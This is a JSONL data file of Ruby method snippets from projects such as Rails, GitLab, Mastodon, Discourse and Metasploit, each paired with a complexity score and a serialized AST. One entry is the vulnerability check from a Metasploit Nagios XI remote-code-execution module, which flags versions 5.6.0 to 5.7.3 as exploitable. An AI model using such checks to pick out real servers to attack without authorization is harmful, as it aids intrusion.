{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nagios_xi_mibs_authenticated_rce.rb","start_line":87,"raw_source":"def check\n    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns\n    # an array containing the http response body of a get request to index.php and the session cookies\n    auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)\n    case auth_result\n    when AUTH_RESULTS[:connection_failed]\n      return CheckCode::Unknown(err_msg)\n    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]\n      return CheckCode::Detected(err_msg)\n    when AUTH_RESULTS[:not_nagios_application]\n      return CheckCode::Safe(err_msg)\n    end\n\n    if @version >= Rex::Version.new('5.6.0') && @version <= Rex::Version.new('5.7.3')\n      return CheckCode::Appears\n    end\n\n    return CheckCode::Safe\n  end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_result\"]},{\"type\":\"lvasgn\",\"children\":[\"err_msg\"]},{\"type\":\"ivasgn\",\"children\":[\"@auth_cookies\"]},{\"type\":\"ivasgn\",\"children\":[\"@version\"]}]},{\"type\":\"send\",\"children\":[null,\"authenticate\",{\"type\":\"send\",\"children\":[null,\"username\"]},{\"type\":\"send\",\"children\":[null,\"password\"]},{\"type\":\"send\",\"children\":[null,\"finish_install\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_result\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connection_failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"lvar\",\"children\":[\"err_msg\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unexpected_error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not_fully_installed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"failed_to_handle_license_agreement\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"failed_to_extract_tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unable_to_obtain_version\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"lvar\",\"children\":[\"err_msg\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTH_RESULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not_nagios_application\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"lvar\",\"children\":[\"err_msg\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.6.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.7.3\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"a5ae66d3-d302-4182-9ba9-d7eac3c742a7"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/model_test.rb","start_line":64,"raw_source":"def test_mixin_inclusion_chain\n    object = BasicModel.new\n    assert_equal \"default value\", object.attr\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mixin_inclusion_chain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BasicModel\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"default value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"attr\"]}]}]}]}","id":"f9a35172-494b-42df-8b5f-f6da140babe9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/domain_materializable.rb","start_line":12,"raw_source":"def refresh_instances_view\n    return if domain.nil? || Instance.exists?(domain: domain)\n\n    Instance.refresh\n    count_unique_subdomains!\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_instances_view\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instance\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"domain\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instance\"]},\"refresh\"]},{\"type\":\"send\",\"children\":[null,\"count_unique_subdomains!\"]}]}]}","id":"678047d8-008d-4e5a-a830-569810f54b22"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/pypi_packages_spec.rb","start_line":20,"raw_source":"def snowplow_context(user_role: :developer)\n    if user_role == :anonymous\n      { project: project, namespace: project.namespace, property: 'i_package_pypi_user' }\n    else\n      { project: project, namespace: project.namespace, property: 'i_package_pypi_user', user: user }\n    end\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"snowplow_context\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user_role\",{\"type\":\"sym\",\"children\":[\"developer\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_role\"]},\"==\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"i_package_pypi_user\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"i_package_pypi_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"49b39138-44b9-4420-a3ff-96e8ac92024b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing/log_subscriber_test.rb","start_line":60,"raw_source":"def get(path, **options)\n      super(path, **options.merge(headers: { \"action_dispatch.routes\" => @app.routes }))\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.routes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"routes\"]}]}]}]}]}]}]}]}]}]}","id":"1c3347b7-efca-4a1c-bcb0-409eb772777d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/dependency_proxy/image_ttl_group_policies/update_service.rb","start_line":10,"raw_source":"def execute\n        return ServiceResponse.error(message: 'Access Denied', http_status: 403) unless allowed?\n        return ServiceResponse.error(message: 'Dependency proxy image TTL Policy not found', http_status: 404) unless dependency_proxy_image_ttl_policy\n\n        if dependency_proxy_image_ttl_policy.update(dependency_proxy_image_ttl_policy_params)\n          ServiceResponse.success(payload: { dependency_proxy_image_ttl_policy: dependency_proxy_image_ttl_policy })\n        else\n          ServiceResponse.error(\n            message: dependency_proxy_image_ttl_policy.errors.full_messages.to_sentence || 'Bad request',\n            http_status: 400\n          )\n        end\n      end","complexity_score":23.18,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Access Denied\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_status\"]},{\"type\":\"int\",\"children\":[403]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dependency_proxy_image_ttl_policy\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Dependency proxy image TTL Policy not found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_status\"]},{\"type\":\"int\",\"children\":[404]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dependency_proxy_image_ttl_policy\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"dependency_proxy_image_ttl_policy_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependency_proxy_image_ttl_policy\"]},{\"type\":\"send\",\"children\":[null,\"dependency_proxy_image_ttl_policy\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dependency_proxy_image_ttl_policy\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]},{\"type\":\"str\",\"children\":[\"Bad request\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_status\"]},{\"type\":\"int\",\"children\":[400]}]}]}]}]}]}]}","id":"f556da6d-690b-4099-89e3-d646046ed8c0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/extended_deterministic_queries.rb","start_line":106,"raw_source":"def scope_for_create\n          return super unless model.deterministic_encrypted_attributes&.any?\n\n          scope_attributes = super\n          wheres = where_values_hash\n\n          model.deterministic_encrypted_attributes.each do |attribute_name|\n            attribute_name = attribute_name.to_s\n            values = wheres[attribute_name]\n            if values.is_a?(Array) && values[1..].all?(AdditionalValue)\n              scope_attributes[attribute_name] = values.first\n            end\n          end\n\n          scope_attributes\n        end","complexity_score":26.73,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_for_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"deterministic_encrypted_attributes\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope_attributes\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"wheres\",{\"type\":\"send\",\"children\":[null,\"where_values_hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"deterministic_encrypted_attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wheres\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},\"all?\",{\"type\":\"const\",\"children\":[null,\"AdditionalValue\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_attributes\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"scope_attributes\"]}]}]}","id":"f12be0bb-5191-4104-83b0-bfd3e48a5e07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/constraints_helpers.rb","start_line":203,"raw_source":"def validate_text_limit(table, column, constraint_name: nil)\n          validate_check_constraint(table, text_limit_name(table, column, name: constraint_name))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_text_limit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"kwoptarg\",\"children\":[\"constraint_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_check_constraint\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"send\",\"children\":[null,\"text_limit_name\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"constraint_name\"]}]}]}]}]}]}","id":"8a9f0491-86ad-4e00-b915-4383c3e13f06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/git_http_controller.rb","start_line":104,"raw_source":"def update_fetch_statistics\n      return unless project\n      return if Gitlab::Database.read_only?\n      return unless repo_type.project?\n      return if Feature.enabled?(:disable_git_http_fetch_writes)\n\n      Projects::FetchStatisticsIncrementService.new(project).execute\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_fetch_statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_only?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo_type\"]},\"project?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"disable_git_http_fetch_writes\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"FetchStatisticsIncrementService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"execute\"]}]}]}","id":"02b2a60b-2acf-49c5-84ae-667db3d8f942"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes.rb","start_line":69,"raw_source":"def palette_editor_discard_button\n        page.find(\".admin-theme__discard-palette-changes\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"palette_editor_discard_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".admin-theme__discard-palette-changes\"]}]}]}","id":"fc21f1b9-0a8a-4813-8405-cd52b581eddc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":954,"raw_source":"def send_git_blob(repository, blob)\n      env['api.format'] = :txt\n      content_type 'text/plain'\n\n      # Some browsers ignore content type when filename has an xhtml extension\n      # We remove the extensions to prevent the contents from being displayed inline\n      # See https://gitlab.com/gitlab-org/gitlab/-/issues/458236\n      filename = blob.name&.ends_with?('.xhtml') ? blob.name.split('.')[0] : blob.name\n      header['Content-Disposition'] = ActionDispatch::Http::ContentDisposition.format(disposition: 'inline', filename: filename)\n\n      # Let Workhorse examine the content and determine the better content disposition\n      header[Gitlab::Workhorse::DETECT_HEADER] = \"true\"\n\n      header(*Gitlab::Workhorse.send_git_blob(repository, blob))\n\n      body ''\n    end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"send_git_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"blob\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"api.format\"]},{\"type\":\"sym\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[null,\"content_type\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"name\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\".xhtml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"ContentDisposition\"]},\"format\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disposition\"]},{\"type\":\"str\",\"children\":[\"inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Workhorse\"]},\"DETECT_HEADER\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[null,\"header\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Workhorse\"]},\"send_git_blob\",{\"type\":\"lvar\",\"children\":[\"repository\"]},{\"type\":\"lvar\",\"children\":[\"blob\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"body\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"85a50e0d-c44e-4315-aa9a-a0cd12ce4bd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/inputs/string_input.rb","start_line":8,"raw_source":"def self.matches?(spec)\n        # The input spec can be `nil` when using a minimal specification\n        # and also when `type` is not specified.\n        #\n        # ```yaml\n        # spec:\n        #   inputs:\n        #     foo:\n        # ```\n        spec.nil? || super || (spec.is_a?(Hash) && !spec.key?(:type))\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"nil?\"]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"!\"]}]}]}]}]}","id":"cc68683b-bb1f-4e1c-91ff-6b4dcffba36e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":715,"raw_source":"def test_create_through_factory_with_block\n    topic = Topic.create(\"title\" => \"New Topic\") do |t|\n      t.author_name = \"David\"\n    end\n    assert_equal(\"New Topic\", topic.title)\n    assert_equal(\"David\", topic.author_name)\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_through_factory_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"New Topic\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name=\",{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"New Topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"author_name\"]}]}]}]}","id":"89338b92-074d-4241-80b2-773ddd93c6b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nexpose.rb","start_line":264,"raw_source":"def cmd_nexpose_sysinfo(*_args)\n        return if !nexpose_verify\n\n        res = @nsc.system_information\n\n        print_status('System Information')\n        res.each_pair do |k, v|\n          print_status(\"    #{k}: #{v}\")\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_nexpose_sysinfo\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nexpose_verify\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nsc\"]},\"system_information\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"System Information\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]}]}","id":"3425ddc2-c44b-45c1-8617-e448ebeed680"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/issue/show.rb","start_line":73,"raw_source":"def click_remove_related_issue_button\n            retry_until(sleep_interval: 5) do\n              click_element('remove-related-issue-button')\n              has_no_element?('remove-related-issue-button', wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)\n            end\n          end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"click_remove_related_issue_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"remove-related-issue-button\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"remove-related-issue-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Support\"]},\"Repeater\"]},\"DEFAULT_MAX_WAIT_TIME\"]}]}]}]}]}]}]}","id":"22b17c5b-2ee3-4607-b246-7119c6dd036a"}
